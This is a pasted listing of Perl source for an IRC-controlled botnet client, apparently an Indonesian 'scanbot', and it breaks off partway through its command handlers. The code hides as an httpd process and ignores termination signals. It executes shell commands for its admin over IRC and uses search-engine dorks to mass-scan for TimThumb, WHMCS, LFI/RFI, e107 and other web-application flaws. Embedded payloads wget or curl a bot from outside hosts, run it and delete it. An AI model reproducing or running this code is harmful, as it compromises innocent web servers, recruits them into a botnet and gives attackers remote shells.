SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/perl | |
| 2 | ||
| 3 | use HTTP::Request; | |
| 4 | use HTTP::Request::Common; | |
| 5 | use HTTP::Request::Common qw(POST); | |
| 6 | use LWP::Simple; | |
| 7 | use LWP 5.64; | |
| 8 | use LWP::UserAgent; | |
| 9 | use Socket; | |
| 10 | use IO::Socket; | |
| 11 | use IO::Socket::INET; | |
| 12 | use IO::Select; | |
| 13 | use MIME::Base64; | |
| 14 | use URI::Escape; | |
| 15 | use Digest::MD5 qw(md5_hex); | |
| 16 | use DBI; | |
| 17 | use DBD::mysql; | |
| 18 | ||
| 19 | my $datetime = localtime; | |
| 20 | my $fakeproc = "/usr/sbin/httpd"; | |
| 21 | my $ircserver = "irc.jatimcom.net"; | |
| 22 | my $ircport = "7000"; | |
| 23 | my $nickname = "BKHT-SC[".int(rand(100))."]"; | |
| 24 | my $ident = "Biz"; | |
| 25 | my $channel = "#biangkerox"; | |
| 26 | my $chanxxx = "#biangkerox"; | |
| 27 | my $chaninfo = "#biangkerox"; | |
| 28 | my $submitchan = "#biangkerox"; | |
| 29 | my $admin = "CaLiBeR"; | |
| 30 | my $fullname = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R "; | |
| 31 | my $rawmsg = $ARGV[4]; | |
| 32 | my $msgraw = $ARGV[5]; | |
| 33 | ||
| 34 | my $nob0dy = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R "; | |
| 35 | my $whmcslogo = "9,1[4!9]11WHMCS 9<4=9> "; | |
| 36 | my $thumblogo = "9,1[4!9]11TimThumb 9<4=9> "; | |
| 37 | my $zerologo = "9,1[4!9]11zBoarD 9<4=9> "; | |
| 38 | my $lfilogo = "9,1[4!9]11Lfi 9<4=9> "; | |
| 39 | my $rfilogo = "9,1[4!9]11Rfi 9<4=9> "; | |
| 40 | my $xmllogo = "9,1[4!9]11Xml 9<4=9> "; | |
| 41 | my $oscologo = "9,1[4!9]11Osco 9<4=9> "; | |
| 42 | my $oscosqllogo = "9,1[4!9]11O-Sql 9<4=9> "; | |
| 43 | my $e107logo = "9,1[4!9]11E107 9<4=9> "; | |
| 44 | my $ihlogo = "9,1[4!9]11Is-Human 9<4=9> "; | |
| 45 | my $zenlogo = "9,1[4!9]11ZenCart 9<4=9> "; | |
| 46 | my $rfglogo = "9,1[4!9]11RfG 9<4=9> "; | |
| 47 | my $whmcscmd = '!whmcs'; | |
| 48 | my $thumbcmd = "!timx"; | |
| 49 | my $zerocmd = "!zero"; | |
| 50 | my $lficmd = "!lfi"; | |
| 51 | my $rficmd = "!rfi"; | |
| 52 | my $xmlcmd = "!xml"; | |
| 53 | my $e107cmd = "!e107"; | |
| 54 | my $zencmd = "!zen"; | |
| 55 | my $ihcmd = "!ishu"; | |
| 56 | my $oscocmd = "!osco"; | |
| 57 | my $cmdlfi = "!cmdlf"; | |
| 58 | my $cmdxml = "!cmdxm"; | |
| 59 | my $cmde107 = "!cmde10"; | |
| 60 | my $rfgcmd = "!rfg"; | |
| 61 | my $ftpcmd = "!ftp"; | |
| 62 | my $spreadMode = 1; | |
| 63 | my $zerowget = 1; | |
| 64 | my $zerolwp = 1; | |
| 65 | my $zerocurl = 1; | |
| 66 | my $gps = 1; | |
| 67 | my $gps2 = 0; | |
| 68 | my $timot = 10; | |
| 69 | my $silentmode = 0; | |
| 70 | my $hostinjector = "http://flickr.com.splendidodesigns.com/"; | |
| 71 | my $thumbid = "http://".$hostinjector."/stunxx.php"; | |
| 72 | my $botdid = "http://".$hostinjector."/load.php"; | |
| 73 | my $botxdid = "http://".$hostinjector."/stunxx.php"; | |
| 74 | my $thumbshell = uri_escape($thumbid); | |
| 75 | my $md5php = md5_hex($thumbid).".php"; | |
| 76 | my $md5bot = md5_hex($botdid).".php"; | |
| 77 | my $md5botx = md5_hex($botxdid).".php"; | |
| 78 | my $botid = uri_escape($botdid); | |
| 79 | my $botxid = uri_escape($botxdid); | |
| 80 | my $injector = "http://".$hostinjector."/bad.txt"; | |
| 81 | my $botshell = "http://".$hostinjector."/bot.txt"; | |
| 82 | my $subticket = "/submitticket.php?step=2&deptid=1"; | |
| 83 | my $action = "/data/lobex.php"; | |
| 84 | my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fbad.php;wget%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log"; | |
| 85 | my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbad.php;lwp-download%20-a%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log"; | |
| 86 | my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbad.php;curl%20-C%20-%20-O%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log"; | |
| 87 | my $uagent = "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0"; | |
| 88 | my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000"; | |
| 89 | my @sitexxx = ("www.iordachemarian.ro","www.anglais4xplusvite.ch/french","professor.sergiojr.info","northernart.co.th","fer.comoj.com","dateakademie.de");
| |
| 90 | my $jpath = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q="; | |
| 91 | my $jack = "http://".$jacks.$jpath; | |
| 92 | my $jack1 = "http://www.vip2vip.net/administrator/includes/js/post.php?q="; | |
| 93 | my $jack2 = "http://www.vip2vip.net/administrator/includes/js/post.php?q="; | |
| 94 | my $jack3 = "http://www.vip2vip.net/administrator/includes/js/post.php?q="; | |
| 95 | my $jack4 = "http://www.vip2vip.net/administrator/includes/js/post.php?q="; | |
| 96 | my $jack5 = "http://barileatherfurniture.com/banner_images/cihui.php?q="; | |
| 97 | my $engine = "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY, | |
| 98 | JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA, | |
| 99 | JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam"; | |
| 100 | ||
| 101 | $SIG{'INT'} = 'IGNORE';
| |
| 102 | $SIG{'HUP'} = 'IGNORE';
| |
| 103 | $SIG{'TERM'} = 'IGNORE';
| |
| 104 | $SIG{'CHLD'} = 'IGNORE';
| |
| 105 | $SIG{'PS'} = 'IGNORE';
| |
| 106 | #chdir("/");
| |
| 107 | $ircserver = "$ARGV[0]" if $ARGV[0]; | |
| 108 | $ircport = "$ARGV[1]" if $ARGV[1]; | |
| 109 | $nickname = "$ARGV[2]" if $ARGV[2]; | |
| 110 | $channel = "$ARGV[3]" if $ARGV[3]; | |
| 111 | $0 = "$fakeproc"."\0" x 16; | |
| 112 | my $pid = fork; | |
| 113 | exit if $pid; | |
| 114 | die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); | |
| 115 | ||
| 116 | our %irc_servers; | |
| 117 | our %DCC; | |
| 118 | my $dcc_sel = new IO::Select->new(); | |
| 119 | $sel_client = IO::Select->new(); | |
| 120 | sub sendraw {
| |
| 121 | if ($#_ == '1') {
| |
| 122 | my $socket = $_[0]; | |
| 123 | print $socket "$_[1]\n"; | |
| 124 | } else {
| |
| 125 | print $IRC_cur_socket "$_[0]\n"; | |
| 126 | } | |
| 127 | } | |
| 128 | sub connector {
| |
| 129 | my $mynick = $_[0]; | |
| 130 | my $ircserver_con = $_[1]; | |
| 131 | my $ircport_con = $_[2]; | |
| 132 | my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); | |
| 133 | if (defined($IRC_socket)) {
| |
| 134 | $IRC_cur_socket = $IRC_socket; | |
| 135 | $IRC_socket->autoflush(1); | |
| 136 | $sel_client->add($IRC_socket); | |
| 137 | $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
| |
| 138 | $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
| |
| 139 | $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
| |
| 140 | $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
| |
| 141 | nick("$mynick");
| |
| 142 | sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
| |
| 143 | sleep(1);}} | |
| 144 | ||
| 145 | sub parse {
| |
| 146 | my $servarg = shift; | |
| 147 | if ($servarg =~ /^PING \:(.*)/) {
| |
| 148 | sendraw("PONG :$1");
| |
| 149 | } | |
| 150 | elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
| |
| 151 | if (lc($1) eq lc($mynick)) {
| |
| 152 | $mynick = $4; | |
| 153 | $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
| |
| 154 | } | |
| 155 | } | |
| 156 | elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
| |
| 157 | nick("$mynick".int rand(1));
| |
| 158 | } | |
| 159 | elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
| |
| 160 | $mynick = $2; | |
| 161 | $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
| |
| 162 | $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
| |
| 163 | sendraw("MODE $mynick +Bx");
| |
| 164 | sendraw("NS id qwe123");
| |
| 165 | sleep(3); | |
| 166 | sendraw("JOIN $channel correct");
| |
| 167 | sendraw("JOIN $chanxxx mejen");
| |
| 168 | sleep(1); | |
| 169 | sendraw("PRIVMSG $channel :9,1[4!9]15 EhhEemmmm !!!");
| |
| 170 | sendraw("PRIVMSG $admin :Hi $admin im here !!!");
| |
| 171 | } | |
| 172 | } | |
| 173 | ||
| 174 | my $line_temp; | |
| 175 | while( 1 ) {
| |
| 176 | while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
| |
| 177 | select(undef, undef, undef, 0.01); | |
| 178 | delete($irc_servers{''}) if (defined($irc_servers{''}));
| |
| 179 | my @ready = $sel_client->can_read(0); | |
| 180 | next unless(@ready); | |
| 181 | foreach $fh (@ready) {
| |
| 182 | $IRC_cur_socket = $fh; | |
| 183 | $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
| |
| 184 | $nread = sysread($fh, $ircmsg, 4096); | |
| 185 | if ($nread == 0) {
| |
| 186 | $sel_client->remove($fh); | |
| 187 | ||
| 188 | $fh->close; | |
| 189 | delete($irc_servers{$fh});
| |
| 190 | } | |
| 191 | @lines = split (/\n/, $ircmsg); | |
| 192 | $ircmsg =~ s/\r\n$//; | |
| 193 | if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
| |
| 194 | my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); | |
| 195 | if ($path eq $mynick) {
| |
| 196 | if ($msg =~ /^PING (.*)/) {
| |
| 197 | sendraw("NOTICE $nick :PING $1");
| |
| 198 | } | |
| 199 | if ($msg =~ /^VERSION/) {
| |
| 200 | sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
| |
| 201 | } | |
| 202 | if ($msg =~ /^TIME/) {
| |
| 203 | sendraw("NOTICE $nick :TIME ".$datetime."");
| |
| 204 | } | |
| 205 | if (&isAdmin($nick) && $msg eq "!die") {
| |
| 206 | &shell("$path","kill -9 $$");
| |
| 207 | } | |
| 208 | if (&isAdmin($nick) && $msg eq "!killall") {
| |
| 209 | &shell("$path","killall -9 perl");
| |
| 210 | } | |
| 211 | if (&isAdmin($nick) && $msg eq "!reset") {
| |
| 212 | sendraw("QUIT :Restarting...");
| |
| 213 | } | |
| 214 | if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
| |
| 215 | sendraw("JOIN #".$1);
| |
| 216 | } | |
| 217 | if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
| |
| 218 | sendraw("PART #".$1);
| |
| 219 | } | |
| 220 | if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
| |
| 221 | sendraw("NICK ".$1);
| |
| 222 | } | |
| 223 | if (&isAdmin($nick) && $msg =~ /^!pid/) {
| |
| 224 | sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); | |
| 225 | } | |
| 226 | if (&isAdmin($nick) && $msg !~ /^!/) {
| |
| 227 | &shell("$nick","$msg");
| |
| 228 | } | |
| 229 | if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
| |
| 230 | sendraw("$rawmsg $msgraw ".$1);
| |
| 231 | } | |
| 232 | if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
| |
| 233 | sendraw("PRIVMSG $rawmsg ".$1);
| |
| 234 | } | |
| 235 | if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
| |
| 236 | sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
| |
| 237 | } | |
| 238 | if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) {
| |
| 239 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 240 | $newthumbcmd = $1; | |
| 241 | $thumbcmd = $newthumbcmd; | |
| 242 | &msg("$admin","$thumblogo9 Scan Command change to4 $thumbcmd ");
| |
| 243 | }}} | |
| 244 | if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) {
| |
| 245 | $newzerocmd = $1; | |
| 246 | $zerocmd = $newzerocmd; | |
| 247 | &msg("$admin","$zerologo9 Scan Command change to4 $zerocmd ");
| |
| 248 | } | |
| 249 | if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) {
| |
| 250 | $newwhmcscmd = $1; | |
| 251 | $whmcscmd = $newwhmcscmd; | |
| 252 | &msg("$admin","$whmcslogo9 Scan Command change to4 $whmcscmd ");
| |
| 253 | } | |
| 254 | if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
| |
| 255 | $newtimot = $1; | |
| 256 | $timot = $newtimot; | |
| 257 | &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
| |
| 258 | } | |
| 259 | if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
| |
| 260 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 261 | $newchan = $1; | |
| 262 | $chanxxx = $newchan; | |
| 263 | &msg("$admin","9,1 xChan change to4 $chanxxx ");
| |
| 264 | }}} | |
| 265 | } | |
| 266 | else {
| |
| 267 | if (&isAdmin($nick) && $msg eq "!die") {
| |
| 268 | &shell("$path","kill -9 $$");
| |
| 269 | } | |
| 270 | if (&isAdmin($nick) && $msg eq "!killall") {
| |
| 271 | &shell("$path","killall -9 perl");
| |
| 272 | } | |
| 273 | if (&isAdmin($nick) && $msg eq "!reset") {
| |
| 274 | sendraw("QUIT :Restarting...");
| |
| 275 | } | |
| 276 | if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
| |
| 277 | sendraw("JOIN #".$1);
| |
| 278 | } | |
| 279 | if (&isAdmin($nick) && $msg eq "!part") {
| |
| 280 | sendraw("PART $path");
| |
| 281 | } | |
| 282 | if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
| |
| 283 | sendraw("PART #".$1);
| |
| 284 | } | |
| 285 | if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
| |
| 286 | &shell("$path","$1");
| |
| 287 | } | |
| 288 | if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
| |
| 289 | &shell("$path","$1");
| |
| 290 | } | |
| 291 | if ($msg=~ /^!silent\s+(.*) -d/) {
| |
| 292 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 293 | $smod = $1; | |
| 294 | if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
| |
| 295 | elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
| |
| 296 | &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
| |
| 297 | }}} | |
| 298 | if ($msg=~ /^!jackx\s+(.*) -d/) {
| |
| 299 | $engmod = $1; | |
| 300 | if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
| |
| 301 | ||
| 302 | elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
| |
| 303 | &msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");
| |
| 304 | } | |
| 305 | if ($msg=~ /^!engine\s+(.*) -d/) {
| |
| 306 | $engmod = $1; | |
| 307 | if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
| |
| 308 | elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
| |
| 309 | &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
| |
| 310 | } | |
| 311 | if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) {
| |
| 312 | $newhostinjector= $1; | |
| 313 | $hostinjector = $newhostinjector; | |
| 314 | &msg("$path","9,1[4!9]Injector 15change to4 $hostinjector ");
| |
| 315 | } | |
| 316 | if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
| |
| 317 | my $url = $1.$lfdtest; | |
| 318 | my $cmd = $2; | |
| 319 | &cmdlfi($url,$cmd,$path); | |
| 320 | } | |
| 321 | if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
| |
| 322 | my $url = $1; | |
| 323 | my $cmd = $2; | |
| 324 | &cmdxml($url,$cmd,$path); | |
| 325 | } | |
| 326 | if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
| |
| 327 | my $url = $1; | |
| 328 | my $cmd = $2; | |
| 329 | &cmde107($url,$cmd,$path); | |
| 330 | } | |
| 331 | ##################################################################### HELP COMMAND | |
| 332 | if ($msg=~ /^!help/) {
| |
| 333 | my $helplogo = "9,1[4!9]15Help 4<9=4> ";sleep(3); | |
| 334 | &msg("$path","$helplogo9Timthumb Vuln Scan:15 $thumbcmd [bug] [dork] ");
| |
| 335 | &msg("$path","$helplogo9RFG Vuln Scan:15 $rfgcmd [bug] [dork] ");
| |
| 336 | &msg("$path","$helplogo9RFI Vuln Scan:15 $rficmd [bug] [dork] ");
| |
| 337 | &msg("$path","$helplogo9LFI Vuln Scan:15 $lficmd [bug] [dork] ");
| |
| 338 | &msg("$path","$helplogo9XML Vuln Scan:15 $xmlcmd [bug] [dork] ");
| |
| 339 | &msg("$path","$helplogo9e107 Vuln Scan:15 $e107cmd [dork] ");
| |
| 340 | &msg("$path","$helplogo9WHMCS Vuln Scan:15 $whmcscmd [dork] ");
| |
| 341 | &msg("$path","$helplogo9ZeroBoard Vuln Scan:15 $zerocmd [dork] ");
| |
| 342 | &msg("$path","$helplogo9osCommerce Vuln Scan:15 $oscocmd [dork] ");
| |
| 343 | &msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");
| |
| 344 | } | |
| 345 | if (&isAdmin($nick) && $msg =~ /^!pid/) {
| |
| 346 | &msg("$nick","6Fake Process/PID : $fakeproc - $$");
| |
| 347 | } | |
| 348 | if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
| |
| 349 | if (&isFound($thumbid,"GIF89")) {
| |
| 350 | &msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! ");
| |
| 351 | } else {
| |
| 352 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
| |
| 353 | } | |
| 354 | } | |
| 355 | if ($msg=~/^!bypass/){
| |
| 356 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 357 | my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = ""; | |
| 358 | my $cekby1 = &get_content($jack1."byroe"); | |
| 359 | if ($cekby1 =~ /byroe\.net/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Lost!!!"; }
| |
| 360 | my $cekby2 = &get_content($jack2."byroe"); | |
| 361 | if ($cekby2 =~ /byroe\.net/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Lost!!!"; }
| |
| 362 | my $cekby3 = &get_content($jack3."byroe"); | |
| 363 | if ($cekby3 =~ /byroe\.net/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Lost!!!"; }
| |
| 364 | my $cekby4 = &get_content($jack4."byroe"); | |
| 365 | if ($cekby4 =~ /byroe\.net/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Lost!!!"; }
| |
| 366 | my $cekby5 = &get_content($jack5."byroe"); | |
| 367 | if ($cekby5 =~ /byroe\.net/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Lost!!!"; }
| |
| 368 | &msg("$path","9,1[4!9]Bypass 4<9=4>15 JacK1=$bystats1 15JacK2=$bystats2 15JacK3=$bystats3 15JacK4=$bystats4 15JacK5=$bystats5")
| |
| 369 | }}} | |
| 370 | ##################################################################### SCAN | |
| 371 | if ($msg =~ /^$oscocmd\s+(.*)/) {
| |
| 372 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 373 | my $dork = $1; | |
| 374 | my $simpan = 'situs.txt'; | |
| 375 | if (&isFound($thumbid,"GIF89")) {
| |
| 376 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Oscommerce di 4$path ");
| |
| 377 | &msg("$path","$oscologo9Dork 4<9=4>15 $dork ");
| |
| 378 | &msg("$path","$oscologo9Search Engine 4<9=4>15 Loading ");
| |
| 379 | &se_start($path,"apalah",$simpan,$dork,$engine,9); | |
| 380 | } else {
| |
| 381 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
| |
| 382 | } | |
| 383 | } | |
| 384 | } | |
| 385 | } | |
| 386 | if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
| |
| 387 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 388 | my ($bug,$dork) = ($1,$2); | |
| 389 | my $simpan = 'situs.txt'; | |
| 390 | if (&isFound($thumbid,"GIF89")) {
| |
| 391 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan LFI di 4$path ");
| |
| 392 | &msg("$path","$lfilogo9Dork 4<9=4>15 $dork ");
| |
| 393 | &msg("$path","$lfilogo9Bugz 4<9=4>15 $bug ");
| |
| 394 | &msg("$path","$lfilogo9Search Engine 4<9=4>15 Loading ");
| |
| 395 | &se_start($path,$bug,$simpan,$dork,$engine,3); | |
| 396 | } else {
| |
| 397 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
| |
| 398 | } | |
| 399 | } | |
| 400 | } | |
| 401 | } | |
| 402 | if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
| |
| 403 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 404 | my ($bug,$dork) = ($1,$2); | |
| 405 | my $simpan = 'situs.txt'; | |
| 406 | if (&isFound($thumbid,"GIF89")) {
| |
| 407 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFI di 12$path ");
| |
| 408 | &msg("$path","$rfilogo9Dork 4<9=4>15 $dork ");
| |
| 409 | &msg("$path","$rfilogo9Bugz 4<9=4>15 $bug ");
| |
| 410 | &msg("$path","$rfilogo9Search Engine 4<9=4>15 Loading ");
| |
| 411 | &se_start($path,$bug,$simpan,$dork,$engine,5); | |
| 412 | } else {
| |
| 413 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
| |
| 414 | } | |
| 415 | } | |
| 416 | } | |
| 417 | } | |
| 418 | if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
| |
| 419 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 420 | my ($bug,$dork) = ($1,$2); | |
| 421 | my $simpan = 'situs.txt'; | |
| 422 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan XML di 12$path ");
| |
| 423 | &msg("$path","$xmllogo9Dork 4<9=4>15 $dork ");
| |
| 424 | &msg("$path","$xmllogo9Bugz 4<9=4>15 $bug ");
| |
| 425 | &msg("$path","$xmllogo9Search Engine 4<9=4>15 Loading ");
| |
| 426 | &se_start($path,$bug,$simpan,$dork,$engine,6); | |
| 427 | } | |
| 428 | } | |
| 429 | } | |
| 430 | if ($msg =~ /^$thumbcmd\s+(.+?[.php])\s+(.*)/) {
| |
| 431 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 432 | my ($bug,$dork) = ($1,$2); | |
| 433 | my $simpan = 'situs.txt'; | |
| 434 | if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else {
| |
| 435 | if (&isFound($thumbid,"GIF89")) {
| |
| 436 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan TimTHumb di 12$path ");
| |
| 437 | &msg("$path","$thumblogo9Dork 4<9=4>15 $dork ");
| |
| 438 | &msg("$path","$thumblogo9Bugz 4<9=4>15 $bug ");
| |
| 439 | &msg("$path","$thumblogo9Search Engine 4<9=4>15 Loading ");
| |
| 440 | &se_start($path,$bug,$simpan,$dork,$engine,1); | |
| 441 | } else {
| |
| 442 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; }
| |
| 443 | } | |
| 444 | } | |
| 445 | } | |
| 446 | } | |
| 447 | if ($msg =~ /^$whmcscmd\s+(.*)/) {
| |
| 448 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 449 | my ($bug,$dork) = ("cart.php?a=byroe&templatefile=",$1);
| |
| 450 | my $simpan = 'situs.txt'; | |
| 451 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan WHMCS di 12$path ");
| |
| 452 | &msg("$path","$whmcslogo9Dork 4<9=4>15 $dork ");
| |
| 453 | &msg("$path","$whmcslogo9Search Engine 4<9=4>15 Loading ");
| |
| 454 | &se_start($path,$bug,$simpan,$dork,$engine,2); | |
| 455 | } | |
| 456 | } | |
| 457 | } | |
| 458 | if ($msg =~ /^$zerocmd\s+(.*)/) {
| |
| 459 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 460 | if (&isFound($thumbid,"GIF89")) {
| |
| 461 | my ($bug,$dork) = ("zboard.php?id=byroe",$1);
| |
| 462 | my $simpan = 'situs.txt'; | |
| 463 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan zboard di 12$path ");
| |
| 464 | &msg("$path","$zerologo9Dork 4<9=4>15 $dork ");
| |
| 465 | &msg("$path","$zerologo9Search Engine 4<9=4>15 Loading ");
| |
| 466 | &se_start($path,$bug,$simpan,$dork,$engine,4); | |
| 467 | } else {
| |
| 468 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
| |
| 469 | } | |
| 470 | } | |
| 471 | } | |
| 472 | } | |
| 473 | if ($msg =~ /^$e107cmd\s+(.*)/) {
| |
| 474 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 475 | if (&isFound($thumbid,"GIF89")) {
| |
| 476 | my ($bug,$dork) = ("contact.php",$1);
| |
| 477 | my $simpan = 'situs.txt'; | |
| 478 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan E107 di 12$path ");
| |
| 479 | &msg("$path","$e107logo9Dork 4<9=4>15 $dork ");
| |
| 480 | &msg("$path","$e107logo9Search Engine 4<9=4>15 Loading ");
| |
| 481 | &se_start($path,$bug,$simpan,$dork,$engine,7); | |
| 482 | } else {
| |
| 483 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
| |
| 484 | } | |
| 485 | } | |
| 486 | } | |
| 487 | } | |
| 488 | if ($msg =~ /^$ihcmd\s+(.*)/) {
| |
| 489 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 490 | if (&isFound($thumbid,"GIF89")) {
| |
| 491 | my ($bug,$dork) = ("wp-content/plugins/is-human/engine.php",$1);
| |
| 492 | my $simpan = 'situs.txt'; | |
| 493 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Is-Human di 12$path ");
| |
| 494 | &msg("$path","$ihlogo9Dork 4<9=4>15 $dork ");
| |
| 495 | &msg("$path","$ihlogo9Search Engine 4<9=4>15 Loading ");
| |
| 496 | &se_start($path,$bug,$simpan,$dork,$engine,8); | |
| 497 | } else {
| |
| 498 | &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
| |
| 499 | } | |
| 500 | } | |
| 501 | } | |
| 502 | } | |
| 503 | if ($msg =~ /^$zencmd\s+(.*)/) {
| |
| 504 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
